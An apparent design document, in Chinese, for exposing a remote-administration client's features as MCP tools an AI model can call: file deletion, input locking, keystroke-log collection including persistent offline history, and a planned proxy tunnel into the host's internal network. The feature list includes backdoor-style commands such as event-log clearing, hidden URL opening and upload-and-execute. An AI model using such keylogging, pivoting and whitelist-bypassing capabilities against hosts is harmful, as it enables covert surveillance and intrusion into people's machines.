失败(权限不足等)时进程仍在 `remaining`,由调用方判断。
3. **服务操作仅 4 项**:pause/continue/delete 缺省,如需需评估 `MachineDlg` 链路。
4. **窗口句柄时效**:hwnd 可能已失效(窗口已关闭),客户端 `PostMessage/ShowWindow`
对失效句柄静默无操作,`operate_window` 的 `ok=true` 只表示「已下发」。
5. **子连接竞态**:写工具接管子连接后若客户端断线,`OfflineProc` 调 `OnManageSubClosed`
清理挂起(置 done 并清 `subCtx`、唤醒等待线程;**不擦表**,由 `WaitPendingWrite` 自行擦除,
防迭代器失效)。清 `subCtx` 是关键——context 对象被连接池回收复用,若超时路径仍对旧指针
`CancelIO` 会误伤新连接(与 `OnTerminalClosed`/`OnScreenControlClosed` 同理)。
## 8. P8 / P9 路线图(后续)
- **P8 文件与信息面**:`delete_file/delete_directory`、`create_folder`、`rename_file`、
`open_file`;`list_network_connections`、`list_software`、`get/set_hosts`、
`list_scheduled_tasks`(+增删启停)、`get_keylog`。
- **P9 进阶与 NL 增强**:`set/delete_registry`、`screen_blank`/`lock_input`/`get_clipboard`、
`open_url`/`send_message`;**批量操作**(`ids[]`/`group` 维度);离线主机枚举
`list_all_hosts`。
## 9. 实现与验证记录(2026-10-01)
已实现并端到端验证(真实客户端 DESKTOP-A55C0OI / Windows 10 / VMware,id=3441387693643366974):
- `kill_process` → `remaining:[]`;`operate_window`(restore) → `ok:true`;
`control_service`(set_manual AJRouter) → `ok:true`;`power_action`(reboot) → `ok:true`(发完即走)。
三个写工具的确认包(第二个 `TOKEN_*LIST`)均正常到达,列表均 >1460 字节触发 HTTP 分片。
- 落地:`McpManage` 开关 + `McpReadonly=0` 双保险;`McpSettingsDlg` 增「管理操作」复选框;
主工具栏增 `MCP` 入口按钮(`ID_MCP_SETTINGS`);en/de/zh-TW 三语文案同步。
- 前置解析 bug(验证中暴露,已单独提交 `a72e6eb`):`HeaderParser::Parse` 的
`m_bShouldUnmask` 在 HTTP 分片续包上被误置 `FALSE`,导致写工具的确认包被
`PARSER_FAILED` 丢弃(「首包能到、后续包到不了」);修复为 `else if (m_bShouldUnmask != TRUE)`。
+682
View File
@@ -0,0 +1,682 @@
# MCP 能力扩展与优化方案(P10 起)
> 版本:v2(已按代码核对修订) 状态:评审通过,按 §6 顺序施工
> 前置文档:`Mcp_Design.md`(协议/架构/配置/错误码)、`Mcp_Phase2_Design.md`(双模式无头驱动)、
> `Mcp_Manage_Design.md`(P7 写工具范式)、`Mcp_Machine_Design.md`(P8 会话抽象)、
> `Mcp_Terminal_Design.md`、`Mcp_RemoteControl_Design.md`、`Mcp_FileTransfer_Design.md`、`Mcp_Chat_Design.md`、
> `Mcp_Test_Report_2026-10-25.md`(实测结论与已修问题)
>
> 本文回答两个问题:**还能做哪些工具**、**现有工具还能怎么优化**。所有结论都落到具体文件与行号,
> 并区分「客户端零改动」「需客户端改动」「客户端尚未实现」三种可行性。
>
> **v2 修订要点**(逐条核对代码后更正,详见各节开头的「初稿的错误」):
> §5.2 的 `mode=offline` 前提不成立(历史数据本来就会回传);§2.3 低估了服务端接线工作量;
> §5.6 的「一码四义」不成立;§5.1 的 `serverGates` 与 `get_server_status` 重复;§3.2 应给出明确优先级。
---
## 0. 结论摘要
1. **工具面已经覆盖「看 + 管 + 连」三层**(54 个工具,8 个功能族),但仍有三处结构性缺口:
**文件系统只有读没有写**(能列、能搜、能传,不能删/改名/建目录)、
**远程控制缺「防人工干扰」与「能力自述」**(无法锁定对端键鼠、模型不知道主机支持什么)、
**同一能力存在两套重叠工具**(`list_processes` vs `host_list_processes` 等 4 组,模型不知该选哪个)。
2. **最高性价比的一批新工具是文件系统写操作**(`delete_path` / `move_path` / `create_folder`):
客户端四个命令 + 三个完成 token **全部已实现**(`client/file/FileManager.cpp:97-121`;
`TOKEN_DELETE_FINISH` 被删文件与删目录复用)。MCP 侧复用 P7 的 `followUp` 范式即可,
**客户端零改动**,一次性补齐「AI 能整理远程磁盘」这个最常用场景。
注意这不等于「照抄 P7」:文件管理器子连接的就绪包是 `TOKEN_DRIVE_LIST` 不是
`TOKEN_SYSTEM_READY`,且三个完成 token 在服务端顶层分发里**还没有 case**——真正的接线
工作量在这里,详见 §2.3。
3. **最大的非工具类短板是「能力自述」**:`get_host_detail` 不告诉模型这台主机支持什么,
模型只能靠 `-32005` 试错(`list_registry`、`get_screenshot`、`remote_*`、`upload_file` 各有平台/能力位门槛)。
补一个 `capabilities` 对象是**纯服务端改动、几十行代码**,但直接减少一整类无效调用。
服务端开关态不必另开字段——`get_server_status` 的 `switches` 已经完整暴露(`McpServer.cpp:3142`),
`capabilities` 只描述「这台主机本身能做什么」,两者分工明确。
4. **协议层有四个空白**:`initialize.instructions`、`notifications/progress`、`notifications/cancelled`、
`logging`。其中前两个直接影响「长任务(下载/上传/搜索/chat_wait)时模型以为卡死」的体验。
5. **不建议现在做**的:注册表写、Windows 事件日志、进程模块/启动项、剪贴板读——都需要客户端改,
且安全边界要单独评审;代理隧道(`COMMAND_PROXY`)价值最高但工程量大,建议单独立项。
> **一处需要纠正的常见误解**:进程「挂起 / 恢复」**已经实现**,不需要新工具——
> 它是 `host_control_process` 的 `action=freeze|thaw`(`McpMachine.cpp:2107`),
> 且已带「动作后重拉进程列表复核」的验证逻辑。本轮不再重复造这个工具。
---
## 1. 现状盘点
### 1.1 工具族(54 个)
登记表在 `server/2015Remote/McpInternal.cpp:368` 的 `kToolHints[]`。
注意:**表头注释写「53 个工具」,实际数组是 54 项**(注释已过期,属一处文档瑕疵,见 §5.13)。
| 族 | 数 | 工具 | 门控条件 |
|---|---|---|---|
| 服务端本机只读 | 7 | `list_online_hosts` `search_hosts` `list_all_hosts` `get_host_detail` `get_activity_history` `get_audit_log` `get_server_status` | `McpReadonly`(默认 1 = 只读) |
| 主机只读 | 21 | `list_processes` `list_windows` `list_files` `list_services` `get_client_log` `get_keylog` `get_screenshot` `list_registry` `download_file` `search_file` `list_network_connections` + `host_list_*`(10 个标签页) | `McpReadonly`;`get_keylog` 另需 `McpKeylog=1`;`host_list_*` 另需 `McpMachine=1` |
| 终端 | 4 | `terminal_open` `terminal_exec` `terminal_close` `exec_command` | `McpTerminal=1` **且** `McpReadonly=0` |
| 远程控制 | 5 | `remote_open` `remote_close` `remote_mouse` `remote_keyboard` `remote_clipboard` | `McpRemoteControl=1` **且** `McpReadonly=0` |
| 文件传输 | 2 | `upload_file` `copy_files_c2c` | `McpFileTransfer=1`(`download_file` 只要求此开关,不要求 `McpReadonly=0`) |
| 设备管理 | 4 | `kill_process` `operate_window` `control_service` `power_action` | `McpManage=1` **且** `McpReadonly=0` |
| 主机/连接管理 | 7 | `kill_network_connection` `host_control_process` `host_control_window` `host_control_service` `host_control_task` `host_set_remark` `host_set_watch_level` | 前 5 个:`McpMachine=1` + `McpMachineDangerous=1` + `McpReadonly=0`;后 2 个只要求 `McpReadonly=0` |
| 远程交谈 | 4 | `chat_open` `chat_send` `chat_wait` `chat_close` | `McpChat=1`(与 `McpReadonly` 无关) |
**已有的工程范式**(新工具直接复用,不必重新设计):
- **一次性子连接 + 首包即数据**:`list_processes` / `list_windows` / `list_services` / `list_registry` / `get_client_log`。
- **接管子连接 → 发写命令 → 收确认**(`PendingRequest::followUp` / `followUpSent`):`kill_process` / `operate_window` / `control_service`(`Mcp_Manage_Design.md §3`)。
- **多步会话抽象**(`PendingKind::Machine` / `ConnMgr`):`host_list_*` / `host_control_*`(`Mcp_Machine_Design.md §3`)。
- **流式会话**(`TermSession` / `ScreenCtrlSession` / `FileTransferSession` / `ChatSession`):终端、远程控制、文件传输、聊天。
- **迟到首包吸收**(`MarkLateFirstPacketForTool` / `TakeToolFirstPacket`):防超时后误弹 MFC 窗口。
### 1.2 协议层能力
| 能力 | 现状 | 证据 |
|---|---|---|
| `initialize` / `ping` / `tools/list` / `tools/call` | ✅ | `McpServer.cpp:7633` 起 |
| `initialize.instructions` | ❌ 未实现 | 全文 0 处 `instructions` |
| `tools/list` 的 `annotations` | ✅ 四类 hint 齐备 | `McpInternal.cpp:437` `ApplyToolAnnotations` |
| `outputSchema` | ✅ 48 处 | — |
| `resources` / `prompts` | ❌ 未实现 | 0 处 |
| `notifications/progress` | ❌ 未实现 | 0 处 `progressToken` |
| `notifications/cancelled` | ❌ 未实现 | 0 处 `cancelled` |
| `Mcp-Session-Id` | ❌ 无状态 | 0 处 |
| 分页 | 用 `limit`/`offset`,非 MCP `cursor` | 全部列表工具一致 |
| 传输 | Streamable HTTP `POST /mcp`;可选内置 TLS 终结(`McpTlsProxy`) | `Mcp_Design.md §13` |
| 认证 | 静态 Bearer token + 失败计数封禁 | `Mcp_Design.md §3.5` |
| 错误码 | `-32700` … `-32011` 共 14 个 | `Mcp_Design.md §12` |
### 1.3 客户端能力 → MCP 覆盖矩阵
对 `common/commands.h` 中 Windows 客户端**已实现**的命令逐个核对(`client/KernelManager.cpp`、`client/MachineManager.cpp`、`client/file/FileManager.cpp`、`client/ScreenManager.cpp`、`client/KeyboardManager.cpp`):
| 客户端能力 | 命令 | MCP 现状 | 可行性 |
|---|---|---|---|
| 列目录 / 列盘 | `COMMAND_LIST_FILES` / `COMMAND_LIST_DRIVE` | ✅ `list_files` | — |
| 搜索文件 | `COMMAND_SEARCH_FILE` | ✅ `search_file` | — |
| 下载 / 上传 | `CMD_DOWN_FILES_V2` / `COMMAND_SEND_FILE_V2` | ✅ `download_file` / `upload_file` | — |
| 客户端间直传 | `COMMAND_C2C_SEND_FILES` | ✅ `copy_files_c2c` | — |
| **删除文件** | `COMMAND_DELETE_FILE` → `TOKEN_DELETE_FINISH` | ❌ **缺** | **零客户端改动** |
| **删除目录(递归)** | `COMMAND_DELETE_DIRECTORY` → `TOKEN_DELETE_FINISH` | ❌ **缺** | **零客户端改动** |
| **新建目录** | `COMMAND_CREATE_FOLDER` → `TOKEN_CREATEFOLDER_FINISH` | ❌ **缺** | **零客户端改动** |
| **重命名 / 同卷移动** | `COMMAND_RENAME_FILE` → `TOKEN_RENAME_FINISH` | ❌ **缺** | **零客户端改动** |
| 进程列表 / 结束 | `COMMAND_PSLIST` / `COMMAND_KILLPROCESS` | ✅ `list_processes` / `kill_process` | — |
| 进程挂起 / 恢复 | `COMMAND_PROCESS_FREEZING` / `COMMAND_PROCESS_THAW` | ✅ `host_control_process(action=freeze\|thaw)` | — |
| 窗口列表 / 控制 | `COMMAND_WSLIST` / `CMD_WINDOW_CLOSE` / `CMD_WINDOW_TEST` | ✅ `list_windows` / `operate_window` | — |
| 服务列表 / 控制 | `TOKEN_SERVERLIST` / `COMMAND_SERVICECONFIG` | ✅ `list_services` / `control_service` | — |
| 计划任务 / 软件 / 驱动 / 浏览器记录 / 收藏 / hosts 读 | `COMMAND_MACHINE_*` | ✅ `host_list_*`(10 个) | — |
| **写 hosts 文件** | `COMMAND_HOSTS_SET` | ❌ **缺** | 零客户端改动,但**整文件覆盖**,高风险 |
| **卸载软件** | `COMMAND_APPUNINSTALL`(`WinExec`,无回包) | ❌ **缺** | 零客户端改动,风险高 |
| 连接列表 / 断开连接 | `COMMAND_CONNECTION` / `COMMAND_KILL_CONNECTION` | ✅ `list_network_connections` / `kill_network_connection` | — |
| 屏幕截图 | `COMMAND_SCREEN_PREVIEW_REQ` | ✅ `get_screenshot` | — |
| 鼠标 / 键盘 / 剪贴板写 | `COMMAND_SCREEN_CONTROL` + `MSG64` | ✅ `remote_*` | — |
| **锁定对端键鼠** | `COMMAND_SCREEN_BLOCK_INPUT`(2 字节) | ❌ **缺** | **零客户端改动**(无回包) |
| 黑屏 / Ctrl+Alt+Del | `COMMAND_SCREEN_BLANK` / `COMMAND_SCREEN_CTRL_ALT_DEL` | ❌ | **客户端未实现**,需客户端改动 |
| 窗口级 / 区域捕获 | `COMMAND_SCREEN_WINDOW` / `COMMAND_SCREEN_ROI` | ❌ | 流式接口,需评估(见 §4.2) |
| 注册表读 | `COMMAND_REGEDIT` + `COMMAND_REG_FIND` | ✅ `list_registry`(子键 + 值) | — |
| **注册表写** | 无命令 | ❌ | **需客户端改动** |
| 键盘记录(实时) | `COMMAND_KEYBOARD` | ✅ `get_keylog` | — |
| **键盘记录(离线常驻)** | `COMMAND_KEYBOARD_OFFLINE` / `COMMAND_KEYBOARD_CLEAR` | ❌ **缺** | **零客户端改动**(见 §5.2) |
| 客户端日志 | `COMMAND_QUERY_LOG` | ✅ `get_client_log` | — |
| 电源操作 | `TOKEN_MACHINE_MANAGE` | ✅ `power_action` | — |
| 远程交谈 | `COMMAND_CHAT` | ✅ `chat_*` | — |
| **客户端升级** | `COMMAND_UPDATE` | ❌ | 零客户端改动,需独立评审(见 §4.4) |
| **上传执行 / 下载执行** | `COMMAND_UPLOAD_EXEC` / `COMMAND_DOWN_EXEC` | ❌ | 零客户端改动,需独立评审(见 §4.4) |
| **代理映射** | `COMMAND_PROXY` | ❌ | 需独立设计(见 §4.3) |
| 摄像头 / 语音 | `COMMAND_WEBCAM` / `COMMAND_AUDIO` | ❌ | 需流式解码,建议后置 |
| 清除事件日志 / 隐藏开网页 / 卸载后门 | `COMMAND_CLEAN_EVENT` / `COMMAND_OPEN_URL_*` / `COMMAND_REMOVE` | ❌ | **当前 Windows 客户端未实现**,为死命令 |
**结论**:客户端已实现、但 MCP 还没接的能力共 **14 项**,其中 **9 项属「零客户端改动、可常规批次接入」**:
- 文件写 4 项(删除文件 / 删除目录 / 建目录 / 改名移动)
- 键鼠锁定 1 项(`remote_block_input`)
- 离线键盘记录 2 项(开关 / 清空)
- 主机侧 2 项(写 hosts、卸载软件)—— 零改动但风险高,建议后置或不做
另有 5 项(代理、升级、上传执行、摄像头、窗口级捕获)虽也零客户端改动,但工程量或风险远超常规批次,需单独立项(§4)。
---
## 2. 新工具(P10-A):文件系统写操作
### 2.1 为什么是最高优先级
MCP 现在能读、能传、能搜,**唯独不能删、不能改名、不能建目录**。任何「整理远程磁盘」「清理临时文件」「归档日志」「部署目录准备」类任务都会卡在最后一步,只能退回 `exec_command`(`del` / `move` / `mkdir`)——而 `exec_command` 受命令白名单约束(`McpCmdWhitelist`),`del` 默认不在白名单里,且无法处理中文路径与超长路径的编码问题。
用原生文件通道做,还能绕开 shell 白名单、拿到确定的 ack、复用已有的 `TOKEN_*_FINISH` 协议。
### 2.2 工具定义
| 工具 | 入参 | 客户端命令 | 完成 ack |
|---|---|---|---|
| `delete_path` | `id`、`path`、`recursive`(默认 `false`) | `recursive=true` → `COMMAND_DELETE_DIRECTORY`;否则 `COMMAND_DELETE_FILE` | `TOKEN_DELETE_FINISH` |
| `move_path` | `id`、`from`、`to` | `COMMAND_RENAME_FILE` + `[from\0][to\0]` | `TOKEN_RENAME_FINISH` |
| `create_folder` | `id`、`path` | `COMMAND_CREATE_FOLDER` + `[path\0]` | `TOKEN_CREATEFOLDER_FINISH` |
输出统一为 `{id, path, ok:true, verified?:bool}`,并附一句可读摘要。
### 2.3 复用链路(与 P7 同构,但**不是**照抄 P7)
```
主连接 COMMAND_LIST_DRIVE → 客户端建文件管理器子连接 → 子连接回 TOKEN_DRIVE_LIST
→(followUp)下发 COMMAND_DELETE_FILE / _DIRECTORY / _CREATE_FOLDER / _RENAME_FILE
→ 等 TOKEN_*_FINISH → 关闭子连接
```
- 服务端已有现成的三段式入口:`list_files`(`McpServer.cpp:2419`)、`search_file`(`McpServer.cpp:8050`)、`download_file`(`McpServer.cpp:6430`)都走 `COMMAND_LIST_DRIVE` 开子连接。
- `PendingRequest` 的 `followUp` / `followUpSent` / `subCtx` 字段(`McpServer.h:584-587`)足够承载「先等就绪首包、再发写命令、再等确认」的两阶段语义,**数据结构不用改**。
- 路径编码:客户端工程是 MultiByte,路径必须 `Utf8ToCpExact` 严格转 GBK(同 `search_file` 的做法),不可表示即 `-32602`。
**但接入点必须新写三处,这是本节的主要工作量:**
1. **就绪包分流走 `OnDriveList`,不是 `OnSystemReady`。**
`OnSystemReady`(`McpServer.cpp:8070`)里有工具名硬门(只认 `kill_process` / `operate_window`),且文件管理器子连接的就绪包是 `TOKEN_DRIVE_LIST`,根本不会进那个分支。
`OnDriveList`(`McpServer.cpp:7832`)当前对空 `path` 一律判定为「只列盘」并把 `TOKEN_DRIVE_LIST` 当数据取走(`:7846-7851`),所以必须在它最前面按 `tool` 分流:文件写工具 → 下发 `followUp`、保持子连接、返回 `false`。
2. **三个完成 token 需要在服务端顶层分发新增 case。**
`TOKEN_DELETE_FINISH` / `TOKEN_RENAME_FINISH` / `TOKEN_CREATEFOLDER_FINISH` 目前只在 `server/2015Remote/FileManagerDlg.cpp:983-995` 的 hDlg 路径里处理。MCP 的子连接 `hDlg == NULL`(`NotifyProc` 只有 hDlg 存在才交给对话框),三个包会落到 `2015RemoteDlg.cpp:7249` 的 `default:`——只打一行 "unknown command"、**并不关闭子连接**。必须新增 case:`TakeMainResponse` + `CancelIO`。
3. **`MarkLateFirstPacketForTool` 要登记新工具。**
否则工具超时后迟到的 `TOKEN_DRIVE_LIST` 会当成人工操作,**弹出 MFC 文件管理器窗口**。把新工具名加入 `TOKEN_DRIVE_LIST` 那条分支(`McpServer.cpp:7760`)即可。
### 2.4 已知限制(必须写进工具描述)
| 限制 | 原因 | 缓解 |
|---|---|---|
| **ack 只代表「已执行」,不代表「成功」** | 客户端忽略 `DeleteFile` / `MoveFile` / `MakeSureDirectoryPathExists` 的返回值,无条件 `SendToken(..._FINISH)` | 文档明确要求「调用后用 `list_files` 复核」;可选增强见 §5.7 |
| **`move_path` 仅同卷** | 客户端用 `::MoveFile`(`client/file/FileManager.cpp:990`),非 `MoveFileEx` | 描述里写「跨盘请改用 `download_file` + `upload_file`」 |
| **删除无回收站、目录递归** | `COMMAND_DELETE_DIRECTORY` → `DeleteDirectory` 递归删除 | 工具描述加显著警告;`recursive` 必须显式传 `true` |
| **删除单个只读文件会静默失败** | `COMMAND_DELETE_FILE` 直接 `DeleteFile`(`:101`),不像 `DeleteDirectory` 那样先 `SetFileAttributes(...NORMAL)`(`:659`) | 描述里提示「只读文件请先改属性」 |
| **`create_folder` 会自动建中间层** | `MakeSureDirectoryPathExists`,语义是「确保路径存在」而非「只建最后一级」 | 写进描述:传入已含文件名的路径会建出同名目录 |
| **深目录递归删除可能压垮客户端** | `DeleteDirectory` 用无界 `wsprintf` 拼 `MAX_PATH` 栈缓冲(`:643/653/657`);`SearchFiles` 已在 8f718d9 加长度预判,删除/`FixedUploadList` 尚未 | 服务端拒绝超过 MAX_PATH 的 `recursive` 目标;彻底修复归 P12 |
| 路径不存在时**不会**快速失败 | 客户端不回报 win32 码 | 需要客户端补 `TOKEN_FILE_OP_ERROR`(见 §5.7 与 §6 的 P12 批次) |
### 2.5 安全门
新增单一开关 **`McpFileWrite`**(默认 `0`),要求 `McpReadonly=0` 同时成立:
- 不复用 `McpFileTransfer`:上传是「覆盖」,删除是「毁灭」,风险等级不同,必须能分别关。
- 三个工具全部登记 `readOnlyHint=false, destructiveHint=true`(`delete_path`)/ `false`(`move_path`、`create_folder`)。
- 审计:沿用 `AuditManageAction`,记录 `path=` 与 `recursive=`,**不记录文件内容**。
- 建议追加服务端侧保护:拒绝 `path` 落在系统关键目录(`C:\Windows`、`C:\Windows\System32`、`C:\Program Files`)下的 `delete_path`,除非另开 `McpFileWriteDangerous`。这一条可在实现时按需取舍,但**至少要把 `C:\Windows` 与盘根目录挡住**(`delete_path` 传 `C:\` + `recursive=true` 是灾难级误操作)。
---
## 3. 新工具(P10-C):远程控制补全 + 工具族去重
### 3.1 `remote_block_input`(P10-C,零客户端改动)
| 项 | 内容 |
|---|---|
| 入参 | `id`、`session_id`、`block`(`true` / `false`) |
| 命令 | 屏幕子连接上 `[COMMAND_SCREEN_BLOCK_INPUT][0\|1]`(2 字节,`client/ScreenManager.cpp:1198`) |
| 门控 | 随 `remote_open`(`McpRemoteControl=1` + `McpReadonly=0`),不单独设开关 |
**价值**:AI 做 GUI 自动化时,真人碰一下鼠标就会把流程打断;锁定对端键鼠是标准做法。
**必须做的两件事**(否则会把人锁在电脑外):
1. `remote_close` 与 idle 回收时**强制补发 `block=false`**;
2. 会话内 `block=true` 超过 `max_block_ms`(建议默认 300s)自动解锁并在结果里标注 `auto_unblocked=true`。
`BlockInput` 在进程退出时会自动解除,所以真正的死锁风险只出现在「客户端进程活着但会话丢了」——上面两条正好覆盖。
### 3.2 工具族重叠:`list_*` vs `host_list_*`(P10-A,纯文档/描述改动)
**这是当前最容易被忽略、但对模型影响最大的问题**。同一件事有两套工具,走两条完全不同的链路,门控也不同:
| 能力 | 设备管理族(P2/P7) | 主机管理族(P8) | 差异 |
|---|---|---|---|
| 进程列表 | `list_processes`(`COMMAND_SYSTEM`→`CSystemManager`) | `host_list_processes`(`COMMAND_MACHINE_PROCESS`→`MachineManager`) | 后者字段更全(优先级、线程数、用户、工作集、文件大小),**且已有 `name`/`pid` 服务端过滤**(`McpMachine.cpp:2733-2741`) |
| 窗口列表 | `list_windows`(`COMMAND_WSLIST`) | `host_list_windows`(`COMMAND_MACHINE_WINDOWS`) | 同上,后者也带过滤 |
| 服务列表 | `list_services`(`COMMAND_SERVICES`→`ServicesManager`) | `host_list_win32_services`(`COMMAND_MACHINE_WIN32SERVICE`) | 后者含描述、登录身份 |
| 窗口控制 | `operate_window`(含 `close`) | `host_control_window`(**无** `close`) | 门控不同 |
门控差异是关键:`host_list_*` 需要 `McpMachine=1`,而 `list_*` 只需 `McpReadonly`。所以:
- `McpMachine=0` 时 `host_list_*` **不出现在 `tools/list`**,模型只能用 `list_*`;
- `McpMachine=1` 时两套都在,模型**没有任何依据**判断该用哪个。
**结论比初稿更强:`host_list_*` 是首选而非平级备选**——字段更全、且过滤能力本来就已存在(`list_*`
要等 §5.3 补完过滤才追平)。`list_*` 的定位是「`McpMachine=0` 时的降级路径」。
**做法**(不需要合并工具,只改描述,风险极低):
1. 在两套工具的 `description` 里互相指路,且措辞要给出明确优先级:
- `list_processes` → 「`McpMachine=0` 时的降级路径,字段较少;若 `host_list_processes` 在 `tools/list` 里,一律优先用它」;
- `host_list_processes` → 「首选;与 `list_processes` 同源但字段更全并支持服务端过滤,仅在不可用时退回」。
2. 在 `initialize.instructions`(§5.8)里写一条选型规则,一次性讲清四组关系。
**不建议合并**:两族走不同子连接、不同能力位、不同门控,合并会破坏既有安全模型(`McpMachine` 开关的意义就是「单独关掉一套」)。
---
## 4. 大能力(需独立立项,不建议并入本轮)
### 4.1 分级原则
下面这些能力「能做」但**不适合和文件写工具混在一个批次**:要么工程量大(代理、摄像头),要么安全边界必须单独评审(升级、执行、卸载)。按建议顺序列出。
| 能力 | 客户端改动 | 工程量 | 风险 | 建议 |
|---|---|---|---|---|
| 注册表写(set/delete value) | **需要**(无现成命令) | 中 | 高(可持久化篡改) | P12,独立开关 + 白名单键路径 |
| Windows 事件日志读取 | **需要** | 中 | 低(只读) | P12,优先于注册表写 |
| 进程模块 / 启动项 / 网络共享 | **需要** | 中 | 低(只读) | P12,补「主机取证」维度 |
| 剪贴板只读 | **需要**(客户端只有写) | 小 | 中(读即泄密) | 维持 `Mcp_Design.md §10.7` 的「不做」结论 |
| 窗口级一次性截图 | 需评估 | 中 | 低 | 见 §4.2 |
| 代理隧道 `proxy_*` | 否(`COMMAND_PROXY` 已有) | **大** | 高 | 见 §4.3 |
| 客户端升级 `upgrade_client` | 否(`COMMAND_UPDATE` 已有) | 中 | 高 | 见 §4.4 |
| 上传执行 `upload_exec` | 否(已有) | 小 | **极高** | 默认不做,或仅 `McpMachineDangerous` 下 |
| 摄像头快照 / 语音采集 | 否(已有流) | 大 | 中 | 后置 |
| 写 hosts 文件 | 否(已有) | 小 | 高 | 见 §4.5 |
### 4.2 窗口级截图
`COMMAND_SCREEN_WINDOW`(`client/ScreenManager.cpp:894`)接的是**屏幕流**(按窗口标题捕获,空串恢复全屏),不是一次性 JPEG。要做 `get_screenshot(window_title=...)` 需要服务端在屏幕子连接上收若干帧再截一张,本质上是「起一个临时屏幕会话」——比现有 `get_screenshot`(主连接一次 RPC)重得多。
**建议**:先做「AI 侧的替代方案」——`remote_open` 已能拿全屏,`list_windows` 能给窗口句柄与标题,模型可以据此用 `remote_mouse` 点击。等 `remote_*` 在真实任务里被证明「全屏截图不够用」再投入。
### 4.3 代理隧道(价值最高的「新维度」)
`COMMAND_PROXY`(`client/KernelManager.cpp:1039` + `client/proxy/ProxyManager.cpp`)能把客户端当 SOCKS/端口转发跳板。MCP 化的形态是:
```
proxy_open(id, target_host, target_port, local_port) → 服务端本地监听
→ AI 用普通 HTTP/DB 客户端访问 127.0.0.1:local_port
→ 流量经客户端转发到内网 target
proxy_close(session_id)
```
**这会让 AI 从「操作主机」升级为「进入主机所在内网」**——价值远高于再加几个只读工具。
但代价是:服务端要起本地监听(防火墙/端口冲突/生命周期管理)、要做并发与超时、审计粒度要细到「连接目标」,而且这是一个**新的攻击面**(本机任意进程都能用这个监听)。建议单独立项,先出安全设计再动手。
### 4.4 客户端升级 / 上传执行
- `upgrade_client`:`COMMAND_UPDATE` 链路完整,但升级失败会让主机**永久失联**,且没有回滚。至少要「先校验包完整性 + 保留旧版本 + 升级后 N 分钟无心跳则告警」。
- `upload_exec` / `download_exec`:等价于任意代码执行,**绕过 `exec_command` 的全部白名单约束**。这与现有安全模型(`McpCmdWhitelist` 逐条加白)根本冲突。**建议维持不做**;确有需要时只允许 `McpMachineDangerous` 下、且必须显式传 `confirm=true`。
### 4.5 写 hosts 文件
`COMMAND_HOSTS_SET`(`client/MachineManager.cpp:318`)用 `CREATE_ALWAYS` **整文件覆盖**,且无回包、失败静默。MCP 化必须是「读-改-写」语义:
- 入参只接受 `entries[]` 追加/删除,服务端先 `host_get_hosts_file` 读全文,服务端合并,再整文件下发;
- 必须备份原文件(服务端存一份到 `%TEMP%`);
- 门控 `McpMachineDangerous` + `McpReadonly=0`。
**建议**:本轮不做。误覆盖 hosts 会导致目标机 DNS 全断,恢复成本高。
---
## 5. 现有工具优化
按「影响面 ÷ 成本」排序。P0 = 建议本轮做,P1 = 下一轮,P2 = 择机。
> 另有一项「两套工具族重叠」的优化放在 §3.2(因为要顺带说明它为什么不合并),同样是 P0。
### 5.1 【P0】`get_host_detail` 增加 `capabilities`
**问题**:模型拿到 `clientType=WIN` 就以为所有工具都能用,于是反复撞 `-32005`:
| 工具 | 隐藏门槛 | 报错位置 |
|---|---|---|
| `get_screenshot` | `CLIENT_CAP_SCREEN_PREVIEW` 能力位 | `McpServer.cpp:2328` |
| `remote_*` | 同上 + 单显示器(多屏现在报 `-32005`,不是 `-32008`) | `McpServer.cpp:3715` 附近 |
| `list_registry` | 非 LNX/MAC | `McpServer.cpp:2569` |
| `upload_file` | 客户端 `SupportsFileV2()` | `McpServer.cpp:4972` |
| `get_keylog` | `McpKeylog=1` | 门控 |
| `host_list_*` | `McpMachine=1` | 门控 |
**做法**:在 `AppendHostTechnicalDetail`(`McpServer.cpp:2018`)末尾追加。只写**主机自身**的能力,
服务端开关不重复——`get_server_status` 的 `switches` 已经完整暴露(`McpServer.cpp:3142`),
`monitors` 也已经有了(`:2048-2053`):
```cpp
Json::Value caps(Json::objectValue);
caps["platform"] = clientType; // WIN / LNX / MAC / APK
caps["screenPreview"] = ctx->SupportsScreenPreview();
caps["remoteControl"] = ctx->SupportsScreenPreview() && monitors == 1;
caps["fileTransferV2"] = ctx->SupportsFileV2();
caps["c2cPaths"] = ctx->SupportsC2CPaths();
caps["registry"] = (clientType != "LNX" && clientType != "MAC" && clientType != "APK");
host["capabilities"] = caps;
```
**收益**:模型在规划阶段就能排除不可用工具,把「试错 → 报错 → 换工具」的三轮往返压缩成一次。
**成本**:约 30 行,零客户端改动,`outputSchema` 加一个对象。
### 5.2 【P0】`get_keylog`:补离线开关与真实状态(**已重写,初稿前提有误**)
> **初稿的错误**:原文断言「现在只能采 1–15 秒窗口,对『昨天谁敲了什么』完全无用,需要新增 `mode=offline`」。
> 这是错的。`CKeyboardManager1` 构造时就 `new CircularBuffer(m_strRecordFile)`,而 `CircularBuffer`
> 的构造函数直接 `LoadDataFromFile()`(`client/KeyboardManager.h:31-38`);`SendData` 每次(重)连上后
> 从 `pos=0` 把整个缓冲区推给服务端(`client/KeyboardManager.cpp:504-516`),缓冲区 10 MB
> (`KeyboardManager.h:15`)。**只要目标机 `kbrecord=Yes`,现有的 `get_keylog` 已经把落盘历史
> (含无人在线的时段)一并返回了**——工具描述自己就写着「先把缓冲区里已有的记录(含历史)推给服务端」
> (`McpServer.cpp:1559`)。所以 `mode=offline` 不用做,做了也是重复实现。
**真正缺的两件事**:
1. **开关**:`COMMAND_KEYBOARD_OFFLINE`(2 字节)与 `COMMAND_KEYBOARD_CLEAR`(1 字节)
已实现于 `client/KeyboardManager.cpp:125` / `:131`,就在 `get_keylog` 已经建立的那条
键盘子连接上,MCP 侧从未下发过。
2. **状态自述**:客户端在就绪包 `TOKEN_KEYBOARD_START` 的 `byte[1]` 里已经带了「离线记录是否开启」
(`client/KeyboardManager.cpp:164`),服务端 `get_keylog` 拿到了这个包却没解析。
模型因此不知道「我看到的这些历史是不是全量」。
**做法**:
| 参数 | 语义 |
|---|---|
| `offlineRecord`(**输出**) | 客户端当前是否开着离线常驻记录,取自 `TOKEN_KEYBOARD_START` 的 `byte[1]`;`false` 时历史只覆盖本进程启动后的在线时段 |
| `set_offline`(输入,`true`/`false`) | 下发 `COMMAND_KEYBOARD_OFFLINE` 改变常驻状态。写操作:需 `McpReadonly=0` |
| `clear`(输入,`true`) | 下发 `COMMAND_KEYBOARD_CLEAR` 清空客户端缓冲区与落盘文件。破坏性:需 `McpReadonly=0`,且应排在采集之前 |
两个写动作都必须**先于采集窗口下发**,且失败要如实返回(`Send2Client` 的返回值要检查)。
